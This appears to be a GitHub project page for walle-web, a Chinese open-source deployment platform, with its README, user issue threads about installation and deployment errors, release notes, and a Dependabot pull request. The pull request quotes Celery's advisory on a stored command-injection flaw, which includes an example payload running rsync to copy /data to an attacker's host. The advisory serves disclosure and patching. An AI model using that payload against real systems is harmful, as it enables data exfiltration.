walle - 瓦力 Devops开源项目代码部署平台

Overview

Walle 2.0 - 官方主页

Build Status

字节跳动内推:ToB Lark 招聘大数据研发、数据分析师,机会极佳,请勿错过。请各位朋友扩散下有需要的同学,直达内推链接,帮助内推,君子成人之美,谢谢。

功能强大,且免费开源的walle-web 瓦力终于更新2.0.0了!!!

walle 让用户代码发布终于可以不只能选择 jenkins!支持各种web代码发布,php、java、python、go等代码的发布、回滚可以通过web来一键完成。walle 一个可自由配置项目,更人性化,高颜值,支持git、多用户、多语言、多项目、多环境同时部署的开源上线部署系统。

2.0.0 占用了我几乎所有业余时间,精力与金钱付出换各位使用收益,望各位喜欢不吝顺手 star 以示支持,项目更好亦反馈予你。目前 2.0.0 已经发布,请保持关注,我会在公众号更新(在最下面)。

有推广资源(开源文章推荐、大会分享)的同学,请微信联系我,强烈需要帮助。另外,老版本已迁移到 walle 1.x 的同学务必不要再更新了,两个版本不兼容

Feature

  • gitlabRESTful API,类gitlab的权限模型。将来打通gitlab,良心的惊喜
  • 空间管理。意味着有独立的空间资源:环境管理、用户组、项目、服务器等
  • 灰度发布。呼声不断,终于来了
  • 项目管理。Deploy、Release的前置及后置hook,自定义全局变量;自带检测、复制功能,都贴心到这种程度了
  • websocket 实时展示部署中的 shell console,跟真的终端长得一样。
  • 完善的通知机制。邮件、钉钉
  • 全新的UI,我自己都被震撼到了,如丝般流畅

Architecture

Preview

Installation

快速安装 | 安装错误 | 常见错误排解

Roadmap

  • 预览版 2018-12-02
    • 安装文档、前后端代码、Data Migration
  • Alpha 2018-12-09
    • 使用文档、Trouble Shooting、公众号更新
  • Beta 2018-12-23 🎅 圣诞夜前夕
    • 钉钉/邮件消息通知
    • 接受官网logo企业的Trouble Shooting
  • 2.0.0 2018-12-30 1️⃣ 元旦前夕
    • 项目检测、复制
    • 任务的回滚
    • released tag、使用文档
    • Docker 镜像
    • Java配置模板
    • PHP配置模板
    • github 5000 star
  • 2.0.1 2019-01-13
    • 项目配置添加自定义变量
    • Python 3.7+兼容
  • 2.1.0 2019-03-22
    • 超管权限完善
    • Dashboard 1.0(全新的玩法,欢迎提issue)
    • 3月24日开源中国苏州源创会-开源综合技术主题《开源构建多空间可视化一键部署Devops平台》
  • 2.2.0 2019-04-22
    • webhook (gitlab)
    • 上线时间记录、命令与结果拆分、实时console
    • 宿主机资源监控
  • 2.3.0 2019-05-27
    • 插件化:maven、npm
    • pipeline式
  • 2.4.0 2019-06-17
    • i18n 国际化
  • 2.5.0 2019-07-29
    • 上线单Diff
    • 消息通知定制化:钉钉、邮件、企业微信
  • 2.6.0 2019-08-19
    • 批量管理服务器
    • 跨空间复制项目
    • App打包平台
    • Dashboard 2.0
  • 更多需求收集中

Discussing

勾搭下

写开源是我的业余爱好,大数据平台和营销技术才是主业,无论哪个都欢迎交流。
人脉也是一项重要能力,请备注姓名@公司,谢谢:)

吴水永微信

黄微信

花开微信

叶歆昊微信

keep learn微信

Flying 微信



























新的惊喜

后续更新和解剖讨论、以及walle有趣的人和事,将会放到公众号:walle-web,晨间除了写开源,也会写千字文,关注不迷路:)

公众号 walle-web

打赏作者杯咖啡

你也不一定要赞赏,芸芸众生,相遇相识是一种缘份。不过可以给点个star,或者关注公众号,哈

赞赏码

Code Visualization

感谢gitviscode组织制作的commit history视频,记录从15年萌芽发展,有那么多开发者加入完善。1'50的时候,以为项目都停止更新了,然后突然如烟花绽放的感觉,我他妈都感动得要哭了

Watch the video

https://www.youtube.com/watch?v=AIir52mETMY

Comments
  • 安装后访问后报403

    安装后访问后报403

    composer install --prefer-dist --no-dev --optimize-autoloader -vvvv

    执行上面的命令后,报如下错:

    Package guzzle/common is abandoned, you should avoid using it. Use guzzle/guzzle instead. Package guzzle/stream is abandoned, you should avoid using it. Use guzzle/guzzle instead. Package guzzle/parser is abandoned, you should avoid using it. Use guzzle/guzzle instead. Package guzzle/http is abandoned, you should avoid using it. Use guzzle/guzzle instead.

    @meolu

    nginx 
    opened by scm20008 24
  • 高级任务的疑问

    高级任务的疑问

    首先log没报错,宿主机和目标机是同一个,配置里面目标机器用户是root 问题1: pre_releases: service nginx stop service php-fpm stop

    post_releases: service nginx start service php-fpm start

    如果这么设置的话,进度条走到代码检出的时候就把php-fpm 和nginx停止了 然后就走不下去了,服务器上看也没启动

    问题2: 如果只在 post_releases: service nginx restart service php-fpm restart

    可以走到最后一步,然后也走不下去 php-fpm用pgrep看PID是改变的,应该是重新启动了?nginx没有变

    opened by tedlz 20
  • can't execute this command

    can't execute this command

    excute this command error : composer install global require "fxp/composer-asset-plugin:*"

    tip follow as: Invalid argument global require fxp/composer-asset-plugin:. Use "composer require global require fxp/composer-asset-plugin:" instead to add packages to your composer.json.

    opened by yhtsnda 20
  • 创建上线单,无法选取分支

    创建上线单,无法选取分支

    问题描述Owner角色下,上线单创建页面,无法选取分支 已经建立宿主机和repo的ssh-key信任,在宿主机手动拉取代码是ok的 问题描述 walle-python | 66806bb17b234234beecc2f160b59480: Received packet MESSAGE data 2/walle,["commits",{"branch":"master"}] walle-python | received event "commits" from 66806bb17b234234beecc2f160b59480 [/walle] walle-python | emitting event "commits" to 2 [/walle] walle-python | 66806bb17b234234beecc2f160b59480: Sending packet MESSAGE data 2/walle,["commits",{"data":{"message":""},"event":"error"}]

    截图 image

    运行环境

    • OS: [ubuntu 16 LTS]
    • 版本 [2.0.0]
    bug 
    opened by yulrosy 16
  •  启动成功,使用出现“后台服务未启动”的情况,请问怎么解决

    启动成功,使用出现“后台服务未启动”的情况,请问怎么解决

    sh admin.sh start 启动成功 Starting walle

    Start walle: [ ok ] runtime: logs/runtime.log error: logs/error.log

    访问页面出现: 后台服务未启动 请检查日志或者点官网链接查看帮助

    查看network 发现 api/相关接口出现502错误,经查看服务端5000端口未启动,重启nginx也没有用,请问怎么解决。

    nginx 配置如下: upstream webservers { server 0.0.0.0:5000 weight=1; # 负载设置 }

    server { listen 8088; server_name 124.156.9.8; # 域名设置 access_log /usr/local/nginx/logs/walle.log main; index index.html index.htm; # 日志目录

    location / {
        try_files $uri $uri/ /index.html;
        add_header access-control-allow-origin *;
        root /data/www/walle-web/fe; # 前端代码已集成到walle-web,即walle-web/fe的绝对路径
    }
    
    location ^~ /api/ {
        add_header access-control-allow-origin *;
        proxy_pass      http://webservers;
        proxy_set_header X-Forwarded-Host $host:$server_port;
        proxy_set_header  X-Real-IP  $remote_addr;
        proxy_set_header    Origin        $host:$server_port;
        proxy_set_header    Referer       $host:$server_port;
    }
    
    location ^~ /socket.io/ {
        add_header access-control-allow-origin *;
        proxy_pass      http://webservers;
        proxy_set_header X-Forwarded-Host $host:$server_port;
        proxy_set_header  X-Real-IP  $remote_addr;
        proxy_set_header    Origin        $host:$server_port;
        proxy_set_header    Referer       $host:$server_port;
        proxy_set_header Host $http_host;
        proxy_set_header X-NginX-Proxy true;
    
        # WebScoket Support
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
    

    }

    bug 
    opened by webzly 13
  • post_deploy操作修改代码检出仓库,未能改变webroot

    post_deploy操作修改代码检出仓库,未能改变webroot

    配置如下 代码检出仓库 /www/walle/src webroot /www/xxx 发布版本库 /www/walle/releases

    git 项目目录结构如下 /xxx --/bin ----bin.php --xxx.php

    在 post_deploy 里面执行 例如 mkdir -p /www/walle/tmp/xxx cp -rf /www/walle/src/xxx/bin/* /www/walle/tmp/xxx/bin/ rm -rf /www/walle/src/xxx cp -rf /www/walle/tmp/xxx/bin/* /www/walle/src/xxx/

    此时 代码检出仓库中 代码结构已经变为 bin.php

    但 webroot 中还是git里面的文件

    如在 post_deploy中 直接操作 webroot 例如

    mkdir -p /www/walle/tmp/xxx cp -rf /{WORKSPACE}/bin/* /www/walle/tmp/xxx/bin/ rm -rf /{WORKSPACE}/* cp -rf /www/walle/tmp/xxx/bin/* /{WORKSPACE}/

    则webroot 中文件成功变为bin.php

    这里感觉流程比较混乱 webroot 里的内容 是链接至 发布版本库
    但发布版本库 不应该是从代码检出仓库 分发的吗 为什么修改了 代码检出仓库 webroot却没有改变? 还有根据 部署的那个时间轴上 看 post_deploy 应该在同步至服务器之前 为什么能直接操作 {WORKSPACE}中的内容?

    opened by kwaziidev 12
  • 初始化报错问题.

    初始化报错问题.

    /opt/walle-web # /opt/walle-web/yii walle/setup create dir 创建目录... mkdiring dir: /tmp/walle/ mkdiring dir: /opt/walle-web/runtime/ansible_hosts/ mkdiring dir: /opt/walle-web/vendor/bower/jquery/dist set writable 设置可写权限... Setting writable: /opt/walle-web/runtime Setting writable: /opt/walle-web/web/assets Setting writable: /tmp/walle/ Setting writable: /opt/walle-web/runtime/ansible_hosts/ set executable 设置可执行权限... Setting executable: /opt/walle-web/yii update database 更新数据库: yii migrate/up ... Yii Migration Tool (based on Yii v2.0.7)

    Error: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES)

    如果local.php配置文件里数据库连接改成 localhost 的话, 初始化则提示这个问题。 Error: SQLSTATE[HY000] [2002] No such file or directory

    确认数据库连接权限没问题。

    walle

    opened by airforce-captain 9
  • 在部署仿真测试环境的时候 出现以下的错误

    在部署仿真测试环境的时候 出现以下的错误

    全量更新服务器出错:'xxx : bash: line 0: cd: /mnt/java/deploy/from/simu/laimi-sync-server-20151117-171124: No such file or directory'

    不清楚 那个 simu的路径用来干嘛的,可以解析下吗?谢谢

    opened by oyhk 9
  • composer repositories 出现警告导致nginx 访问502

    composer repositories 出现警告导致nginx 访问502

    PHP 5.6

    Loading composer repositories with package information
    Installing dependencies from lock file
    Warning: The lock file is not up to date with the latest changes in composer.json. You may be getting outdated dependencies. Run update to update them.
      - Installing yiisoft/yii2-composer (2.0.3)
        Loading from cache
    
      - Installing bower-asset/jquery (2.1.4)
        Loading from cache
    
      - Installing bower-asset/jquery.inputmask (3.1.63)
        Loading from cache
    
      - Installing bower-asset/punycode (v1.3.2)
        Loading from cache
    
      - Installing bower-asset/yii2-pjax (v2.0.5)
        Loading from cache
    
      - Installing symfony/routing (v2.7.7)
        Loading from cache
    
      - Installing symfony/http-foundation (v2.7.7)
        Loading from cache
    
      - Installing evenement/evenement (v2.0.0)
        Loading from cache
    
      - Installing react/stream (v0.4.3)
        Loading from cache
    
      - Installing react/event-loop (v0.4.1)
        Loading from cache
    
      - Installing react/socket (v0.4.2)
        Loading from cache
    
      - Installing symfony/event-dispatcher (v2.7.7)
        Loading from cache
    
      - Installing guzzle/common (v3.9.2)
        Loading from cache
    
      - Installing guzzle/stream (v3.9.2)
        Loading from cache
    
      - Installing guzzle/parser (v3.9.2)
        Loading from cache
    
      - Installing guzzle/http (v3.9.2)
        Loading from cache
    
      - Installing cboden/ratchet (v0.3.3)
        Loading from cache
    
      - Installing cebe/markdown (1.1.0)
        Loading from cache
    
      - Installing ezyang/htmlpurifier (v4.6.0)
        Loading from cache
    
      - Installing yiisoft/yii2 (2.0.6)
        Loading from cache
    
      - Installing bower-asset/bootstrap (v3.3.5)
        Loading from cache
    
    
    
      - Installing yiisoft/yii2-bootstrap (2.0.5)
        Loading from cache
    
      - Installing swiftmailer/swiftmailer (v5.4.1)
        Loading from cache
    
      - Installing yiisoft/yii2-swiftmailer (2.0.4)
        Loading from cache
    
    Package guzzle/common is abandoned, you should avoid using it. Use guzzle/guzzle instead.
    Package guzzle/stream is abandoned, you should avoid using it. Use guzzle/guzzle instead.
    Package guzzle/parser is abandoned, you should avoid using it. Use guzzle/guzzle instead.
    Package guzzle/http is abandoned, you should avoid using it. Use guzzle/guzzle instead.
    
    Generating optimized autoload files
    

    拉取了两次均是这个警告

    opened by zzvv 8
  • 已解决----高级任务-Release后置任务 显示失败/但是项目启动成功里

    已解决----高级任务-Release后置任务 显示失败/但是项目启动成功里

    问题描述 owener角色 部署上线单 ”高级任务-Release后置任务 “ 在使用nohup java -jar xx.jar >> /dev/null 2>&1 & 启动spring boot项目的时候出现的问题 , 但是项目在服务器上已正常启动了 问题描述 这是错误日志: 2020-07-09 21:17:28,303 ERROR /usr/local/nginx/html/walle-web/walle/service/waller.py 111 waller.run task_id=27, user:root host:172.19.54.135 command:source /etc/profile;nohup java -jar -Xmx512m -Xss251k ${PROJECT_PATH}/${SERVICE} >> /dev/null 2>&1 &, status=1, message: Traceback (most recent call last): File "/usr/local/nginx/html/walle-web/walle/service/waller.py", line 53, in run result = super(Waller, self).run(command, pty=pty, warn=True, watchers=[say_yes()], env=self.custom_global_env, **kwargs) File "", line 2, in run File "/usr/lib/python2.7/site-packages/fabric2/connection.py", line 30, in opens return method(self, *args, **kwargs) File "/usr/lib/python2.7/site-packages/fabric2/connection.py", line 628, in run return self._run(self._remote_runner(), command, **kwargs) File "/usr/lib/python2.7/site-packages/invoke/context.py", line 101, in _run return runner.run(command, **kwargs) File "/usr/lib/python2.7/site-packages/invoke/runners.py", line 363, in run return self._run_body(command, **kwargs) File "/usr/lib/python2.7/site-packages/invoke/runners.py", line 422, in _run_body return self.make_promise() if self._asynchronous else self._finish() File "/usr/lib/python2.7/site-packages/invoke/runners.py", line 474, in _finish raise ThreadException(thread_exceptions) ThreadException: Saw 1 exceptions within threads (NotImplementedError):

    Thread args: {'kwargs': {'echo': None, 'input_': <open file '', mode 'r' at 0x7f28a30a40c0>, 'output': <open file '', mode 'w' at 0x7f28a30a4150>}, 'target': <bound method Remote.handle_stdin of <fabric2.runners.Remote object at 0x7f288e314b50>>}

    Traceback (most recent call last):

    File "/usr/lib/python2.7/site-packages/invoke/util.py", line 233, in run super(ExceptionHandlingThread, self).run()

    File "/usr/lib64/python2.7/threading.py", line 765, in run self.__target(*self.__args, **self.__kwargs)

    File "/usr/lib/python2.7/site-packages/invoke/runners.py", line 834, in handle_stdin self.close_proc_stdin()

    File "/usr/lib/python2.7/site-packages/invoke/runners.py", line 1067, in close_proc_stdin raise NotImplementedError

    NotImplementedError

    截图 image 一直卡在这个界面 image

    运行环境 image

    bug 
    opened by BILLFuYiWei 7
  • CentOS 7 系统环境初始化

    CentOS 7 系统环境初始化

    现存什么问题没有很好被解决

    执行 sh admin.sh init 时缺少必要的包导致中断,应增加系统环境初始化内容

    我希望walle提供这样的功能

    增加如下初始化语句(Base CentOS 7.6.1810)

    • 安装的系统自身的mariaDB(未验证)
    yum install -y mariadb-devel gcc gcc-c++ python-devel
    
    • 安装的MySQL(未验证)
    yum install -y mysql-devel gcc gcc-c++ python-devel
    
    • 安装的Mysql官方源(已验证)
    yum install -y mysql-community-devel gcc gcc-c++ python-devel
    
    feature 
    opened by warmwinter 7
  • 上线之后walle会删除目标服务器目标文件夹,然后把git拷贝过去,而不是将git代码增量添加到目标文件夹

    上线之后walle会删除目标服务器目标文件夹,然后把git拷贝过去,而不是将git代码增量添加到目标文件夹

    问题描述 要怎么实现增量上线呢,将git分支里要上线的的文件覆盖到目标服务器对应文件夹里面去而不删除目标服务器原文件 在owner角色下,上线项目会把原来的文件全部删除 文件夹里面文件全没了,然后把git分支里面的所有文件拉过去 因为一些动态文件被删除会很头疼。就算备份也不会是最新的,而且后面代码文件越来越多,如果上线之前要备份,上线之后要把备份的文件夹再转移过去会很花费时间

    问题描述 如图,创建了mkdir /data/im -p 然后用walle创建一次上线单,生成了 server/ 在server/ 下创建了文件夹 123/ 456/ image

    又在walle创建一次上线单 image

    如图,之前创建的文件夹”123“”456“都没了 image

    运行环境 walle 版本 2.0.1 服务器信息 Linux-3.10.0-1160.el7.x86_64-x86_64-with-debian-9.8 Python 2.7.16

    bug 
    opened by FXXKINGLOVEYOU 1
  • 执行 sh admin.sh init 报错

    执行 sh admin.sh init 报错

    Collecting importlib-metadata>=0.12; python_version < "3.8" (from virtualenv) Downloading http://mirrors.tencentyun.com/pypi/packages/3e/1d/964b27278cfa369fbe9041f604ab09c6e99556f8b7910781b4584b428c2f/importlib_metadata-4.11.3.tar.gz (43kB) 100% |████████████████████████████████| 51kB 961kB/s Complete output from command python setup.py egg_info: Traceback (most recent call last): File "", line 1, in IOError: [Errno 2] No such file or directory: '/tmp/pip-build-iia6zs/importlib-metadata/setup.py'

    ----------------------------------------
    

    Command "python setup.py egg_info" failed with error code 1 in /tmp/pip-build-iia6zs/importlib-metadata/ You are using pip version 8.1.2, however version 22.0.4 is available. You should consider upgrading via the 'pip install --upgrade pip' command. admin.sh: line 34: virtualenv: command not found admin.sh: line 44: ./venv/bin/activate: No such file or directory

    opened by gspgsp 0
  • Bump celery from 3.1.18 to 5.2.2 in /requirements

    Bump celery from 3.1.18 to 5.2.2 in /requirements

    Bumps celery from 3.1.18 to 5.2.2.

    Release notes

    Sourced from celery's releases.

    5.2.2

    Release date: 2021-12-26 16:30 P.M UTC+2:00

    Release by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    v5.2.1

    Release date: 2021-11-16 8.55 P.M UTC+6:00

    Release by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.
    • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

    ... (truncated)

    Changelog

    Sourced from celery's changelog.

    5.2.2

    :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      .. code-block:: python

        {
              "exc_module": "os",
              'exc_type': "system",
              "exc_message": "rsync /data [email protected]:~/data"
        }
      

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    .. _version-5.2.1:

    5.2.1

    :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
Releases(v2.0.1)
  • v2.0.1(Apr 16, 2019)

    功能强大,且免费开源的walle-web 瓦力终于更新2.0.1了!占用了我几乎所有业余时间,精力与金钱付出换各位使用收益,望各位喜欢不吝顺手 star 以示支持,项目更好亦反馈予你。

    Feature

    • 上线单增加「我的」上线任务过滤
    • 用户管理模块取消用户搜索下拉,改为直接搜索
    • 增加环境管理的模糊搜索
    • 增加树莓派的系统支持
    • 支持多个钉钉hooks,兼容tag在钉钉上显示
    • 发布流程切换gitpython,提速30%
    • admin.sh 新增 Ubuntu 系统支持
    • 发送过程中软链接使用绝对路径
    • 稳定提速上线的 branch/tag/commit 获取功能
    • 可设置目标服务器上保留版本数
    • 解除不同环境的项目名称不可同名的限制
    • 增加 remember me 选项

    Fix

    • 修复在一台服务器上可能会有多个任务正在执行的 BUG
    • 项目名称包含|导致发布失败BUG
    • 修复历史版本未删除的 BUG
    • 修复 Debian/Ubuntu的初始化问题
    • 修改密码后,新密码无法登录 (登录时密码做了位数验证)的问题
    • 修复 BUG,未分配用户登录的时候,前端提示服务器错误的问题,将错误提示改为提示具体的错误信息
    • 修复用户注册的时候提示错误的 BUG
    • 修复给注册成功的用户发送邮件,后台邮件服务器错误,导致前端提示错误的问题
    • 修复bug,未分配用户登录的时候,前端提示服务器错误,改为提示具体的错误信息
    • 修复创建软链失败的 BUG
    • 编辑空间出现错误的问题
    • 修复环境管理编辑会新增一条记录的问题
    • 修复上线单时间显示为启动时间的 BUG
    • 发布流程切换gitpython,提速30%
    • 修复 docker-compser.yml中db的expose选项未对齐导致安装失败的问题
    • 修复环境变量项目名称可能会有空格出现的问题
    • 延续 1.x 版本的 {VERSION} 环境变量,将 2.0 版本的 ${CURRENT_RELEASE} 变量统一为全路径
    • 修复已删除的空间,所属人登录后仍然可以看到的问题
    • 修复在python3.6环境下, 启动flask_socketio报Monkey-patching ssl after ssl has already been imported may lead to errors的问题
    • 其他稳定性优化
    Source code(tar.gz)
    Source code(zip)
  • v2.0.0(Jan 6, 2019)

    功能强大,且免费开源的walle-web 瓦力终于更新2.0.0了!占用了我几乎所有业余时间,精力与金钱付出换各位使用收益,望各位喜欢不吝顺手 star 以示支持,项目更好亦反馈予你。

    Feature

    • 支持python 3.5+
    • 优化walle 2.0.0脚手架更新体验
    • 首页增加info
    • 项目配置增加自定义命令支持注释
    • 项目配置增加排除/包含上线模式
    • 项目配置增加自定义全局变量
    • 上线单增加每台服务器的部署进度
    • 增加上线任务的回滚
    • 增加admin.sh init的前置依赖安装
    • 增加查看权限
    • 项目配置增加钉钉/邮件提醒
    • 项目配置增加项目检测
    • 增加docker部署@owen-carter @李庆海-麦子金服

    Fix

    • fix 可能webroot不存在
    • 把日志存储长度加大为LONGTEXT
    • 弱化本地ssh key验证
    • 修复任务用户名
    • 优化掉项目配置的user/port
    • 优化55个unittest的warning
    • fix excludes

    Doc

    • Java项目配置模板
    • 原理分析
    • 权限模型
    • 依赖检查
    • 标准安装
    • Docker安装
    • 升级
    • PHP配置模板
    • Java配置模板
    • 安装错误
    • 常见问题排解
    • 提交上线单
    • 部署上线
    • 部署出错
    • 用户配置
    • 项目配置
    Source code(tar.gz)
    Source code(zip)
  • alpha(Dec 9, 2018)

    功能强大,且免费开源的walle-web 瓦力终于更新2.0了!占用了我几乎所有业余时间,精力与金钱付出换各位使用收益,望各位喜欢不吝顺手 star 以示支持,项目更好亦反馈予你。目前 2.0 预览版尚未达到完全企业可用状态,请保持关注,我会在公众号更新(在最下面)。

    老版本已迁移到 walle 1.x 的同学务必不要再更新了,两个版本不兼容,到时我会写个迁移助手,淡定。

    Feature

    • gitlabRESTful API,类gitlab的权限模型,将来打通gitlab,良心的惊喜
    • 空间管理。意味着有独立的空间资源:环境管理、用户组、项目、服务器等
    • 灰度发布。呼声不断,终于来了
    • websocket 实时展示部署中的 shell console
    • 完善的通知机制。邮件、钉钉
    • 全新的UI,我自己都被震憾到了,如丝般流畅

    Preview

    Installation

    快速安装 | 安装错误 | 常见错误排解

    Roadmap

    • [x] 预览版 2018-12-02
      • ~~安装文档、前后端代码、Data Migration~~
    • [x] Alpha 2018-12-09
      • ~~使用文档、Trouble Shooting、公众号更新~~
    • Beta 2018-12-23 :santa:圣诞夜前夕
      • 1.x迁移到2.0脚本
      • 接受官网logo企业的Trouble Shooting
    • 2.0.0 2018-12-30 :one:元旦前夕
      • released tag、使用文档
      • 冲刺github 5000 star(靠你们了)
    • 2.0.1 2019-01-13
      • 项目检测、复制
      • 任务的回滚
    • 2.0.2 2019-01-20
      • Dashboard(全新的玩法,欢迎提issue)
    • 2.1.0 2019-01-27 :new:新年版
      • CAS
      • 冲刺github 6000 star(靠你们和你们的同事们了)
    Source code(tar.gz)
    Source code(zip)
  • v1.2.0(May 25, 2016)

    • 增加用户管理功能 @sunshineJi
    • 增加全量发布/指定文件发布模式,全量发布会同步整个代码仓库(删除不在代码仓库中的文件),指定文件发布只发布指定的多个文件目录。同时支持git和svn
    • 优化: 取消无意义的rsync传输文件,改用 tar + scp 发布
    • 优化: svn 仓库更新改用 svn up方式,不再重新检出一份新的仓库
    • 优化: 简化svn判断,对于无trunk/branches目录的svn仓库,在项目配置中手动选择notrunk的repo_mode模式。不在发布逻辑中检测判断
    • 支持 docker @starlight36
    • 优化: 任务列表按钮显示 @mylxsw
    • 修正: 任务列表分页只能显示10条的bug @mylxsw
    Source code(tar.gz)
    Source code(zip)
  • v1.1.1(Apr 12, 2016)

    • 增加 post_release_delay参数设置,在应用服务不支持平滑重载必须重启的情况下配置此参数,可按顺序执行高级任务并且暂停几秒
    • 优化: 兼容多种操作系统的tar参数
    • 优化: svn上线文件列表提示,*不包含.开头的文件
    • 修正: svn文件存在中文问题
    • 修正: git remote删除当前分支后,刷新分支失败 @yplam
    Source code(tar.gz)
    Source code(zip)
  • v1.1.0(Mar 24, 2016)

    • 多服务器并发传输文件、执行脚本,加快发布速度,发布时间缩减50%以上(需在宿主机安装 ansible
    • 简化git文档,详细文档迁移到 https://walle-web.io/docs/
    • 检测报告更加精确、详细,错误提示更加友好
    • 优化: 高级命令、主机列表支持 整行注释 以及行内注释
    • 优化: ssh 连接目标机时避免出现询问yes
    • 优化: svn 文件列表默认增加 *
    • 修正: 用户shell为 /bin/sh 时没有 source 导致执行高级任务失败的问题
    • 修正: 执行svn命令时,用户环境没安装 zh-CN 语言包导致错误的问题
    • 修正: 路径、密码等shell命令包含特殊字符的问题
    • 修正: 项目列表名称显示不完整的问题
    Source code(tar.gz)
    Source code(zip)
  • v1.0.0(Jan 24, 2016)

    • clone project => cp project & update,进一步提高部署速度
    • 转移文档出项目
    • 添加walle脚手架功能:查看版本、初始化、升级
    • 邮件配置简化
    • svn提交上线单时,展现形式修改为:commit id - commit message
    • 降序排列分支/tag列表 (@ikaychen)
    • tooltip自适应宽度、SVN文件列表tooltip可以换行(@lanrenwo)
    • 高级命令支持#注释(@drogjh)
    • 修正回滚任务中的commit id展示
    • 高级命令增加cd {WORKSPACE}简化用户切换目录
    • 高级命令增加source /etc/profile初始化环境变量
    • 增加支持sudo命令
    Source code(tar.gz)
    Source code(zip)
  • v0.9.5(Jan 24, 2016)

    • 简化svn无trunk/branches提交上线单流程(去掉选择分支)
    • cookie 记住上次选择的分支,优化提交上线流程
    • 优化未激活时也可以重置密码
    • 登录界面的用户名标签改为邮箱
    • 把需要更改的参数移到local.php (@Richard87)
    • moved language to local to keep language changes to a single file all these changes in a single (@Richard87)
    • added /config/local.php to gitignore (@Richard87)
    • move all credentials to local.php for easier modification and development (@Richard87)
    • 修正js标签导致部分浏览器modal浮窗打开失败问题
    • 优化git模式下的rsync
    • git mode the same with svn mode, rsync the diff
    • login translations (@Richard87)
    • add doc of walle
    Source code(tar.gz)
    Source code(zip)
  • v0.9.2(Jan 24, 2016)

  • v0.9.0(Jan 24, 2016)

    • reset && checkout => reset --hard
    • walle的国际化版本
    • 修正支持svn密码特殊字符
    • 项目配置:修复了sql_mode在严格模式下提示key_version_num not null (@Liv1020)
    Source code(tar.gz)
    Source code(zip)
  • v0.8.5(Jan 24, 2016)

  • v0.8.0(Jan 24, 2016)

    • 增加保留最多版本数
    • 回滚数量限制
    • 增加用户修改密码
    • 任务列表、文件指纹增加项目环境级别
    • 部署页面优化
    • 优化svn上线流程和文案提示
    • 优化修改项目repo地址、svn无branches目录兼容问题
    • 引入codeception、集成travis
    Source code(tar.gz)
    Source code(zip)
  • v0.7.5(Jan 24, 2016)

  • v0.7.0(Jan 24, 2016)

  • v0.6.0(Jan 24, 2016)

    • 修正post-release中双引号问题
    • 增加pre-release任务
    • 增加项目管理员审核
    • 增加项目配置复制
    • 增加项目配置检测
    • 回滚按钮改成文成也可点击 (@itbeihe)
    • 非项目创建人不可修改其配置
    • 修正前端分支列表获取append问题
    • 通过ssh的rsync传输支持非22端口 (@telnetor)
    • 初步引入travis
    Source code(tar.gz)
    Source code(zip)
  • v0.5.0(Jan 24, 2016)

    • ssh连接支持自定义端口
    • 前端获取git信息失败弹窗提示
    • 增加项目的审核管理员功能
    • 项目用户选择支持批量
    • 分支预览排除本地分支
